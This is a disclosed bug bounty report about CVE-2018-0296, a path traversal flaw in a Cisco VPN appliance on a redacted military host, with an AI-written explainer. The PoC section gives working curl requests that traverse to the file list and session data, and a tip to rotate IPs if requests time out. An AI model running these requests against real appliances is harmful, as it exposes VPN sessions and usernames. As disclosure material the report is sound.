[CVE-2018-0296] Cisco VPN path traversal on the https://███████/ (████.███.mil)
A Cisco VPN appliance on a military network was running a version vulnerable to a known path traversal flaw. An unauthenticated attacker could use it to list files and disclose sensitive information such as user sessions and usernames, and under some conditions cause a denial of service.
- Triaged in 13 hours
- Fixed in 10 months
- Paid in 5 days
- Disclosed after 4.8 years
##Description I discovered previously unidentified instance https://█████████ (████.██████.mil) in █████████ network, vulnerable to the CVE-2018-0296 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0296)
##POC
curl -i -k "https://████/+CSCOU+/../+CSCOE+/files/file_list.json" --path-as-is
█████████
We can disclose user sessions by quering /sessions:
curl -i -k "https://█████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is
##Suggested fix Updating to the latest version should fix the issue. Fixed version should give 404 "File not found" error. Example of patched version:
curl -i -k "https://█████████.██████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is
##Notes In case you experience request timeout when reproducing, try to change your IP/VPN.
Impact
Path traversal, which can allow the unauthenticated attacker disclose sensitive information such as VPN sessions, files, usernames. Under some conditions it's possible to cause DOS attacks
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the web interface fails to normalise or block directory traversal sequences in the requested path, letting requests escape the intended directory.
Impact
An unauthenticated attacker could disclose sensitive information such as VPN sessions, files and usernames, and under some conditions cause denial of service.
What the attacker needed
Network access to the VPN web interface; no login required
The fix
The appliance should be updated to a fixed version, which returns a not-found error for the traversal request.
How it was found
- Send a request to the appliance's web interface with a crafted path that climbs out of the intended directory.
- Observe that the response returns a file listing rather than an error.
- Add a path parameter pointing at the sessions directory to retrieve session data.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The VPN box has a web interface that builds file paths from what the visitor asks for. By slipping a 'go up one folder' sequence into the address, someone who is not logged in can make it list files and session data it should keep private. This is a known Cisco bug with a public identifier, CVE-2018-0296.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.